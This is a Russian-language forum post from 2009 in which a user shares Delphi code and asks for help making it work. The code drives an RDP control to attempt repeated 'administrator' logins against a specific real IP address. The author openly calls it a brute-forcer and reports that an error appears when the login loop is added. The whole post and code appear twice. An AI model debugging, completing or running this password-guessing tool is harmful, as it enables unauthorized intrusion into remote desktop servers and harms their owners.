intNet
13.09.2009, 14:56
Есть кусок кода, написал для теста:
procedure TimerProc(h: HWND; uMsg: UINT; id_event: UINT; dwTime: DWORD); stdcall;
begin
ShowMessage('Bad');
form1.rdp.disconnect;
end;
procedure TForm1.rdpLoginComplete(Sender: TObject);
begin
ShowMessage('Login complete!');
b:=true;
KillTimer(0, 1);
rdp.Disconnect;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
begin
for i:=1 to 20 do begin
rdp.Server:='195.134.75.7';
rdp.AdvancedSettings2.Set_ClearTextPassword('1');
rdp.AdvancedSettings2.maxEventCount:=5;
rdp.AdvancedSettings2.RDPPort:=3389;
Rdp.UserName:='administrator';
rdp.Connect;
Application.ProcessMessages;
end;
end;
procedure TForm1.rdpConnecting(Sender: TObject);
begin
SetTimer(0, 1, 10000, @timerproc);
end;
Усли убрать цикл, то всё отлично, а с циклом вылезает
"неопознанная ошибка". Брут по другому реализовать не удасться :(. Помогите плиз.
procedure TimerProc(h: HWND; uMsg: UINT; id_event: UINT; dwTime: DWORD); stdcall;
begin
ShowMessage('Bad');
form1.rdp.disconnect;
end;
procedure TForm1.rdpLoginComplete(Sender: TObject);
begin
ShowMessage('Login complete!');
b:=true;
KillTimer(0, 1);
rdp.Disconnect;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
begin
for i:=1 to 20 do begin
rdp.Server:='195.134.75.7';
rdp.AdvancedSettings2.Set_ClearTextPassword('1');
rdp.AdvancedSettings2.maxEventCount:=5;
rdp.AdvancedSettings2.RDPPort:=3389;
Rdp.UserName:='administrator';
rdp.Connect;
Application.ProcessMessages;
end;
end;
procedure TForm1.rdpConnecting(Sender: TObject);
begin
SetTimer(0, 1, 10000, @timerproc);
end;
Усли убрать цикл, то всё отлично, а с циклом вылезает
"неопознанная ошибка". Брут по другому реализовать не удасться :(. Помогите плиз.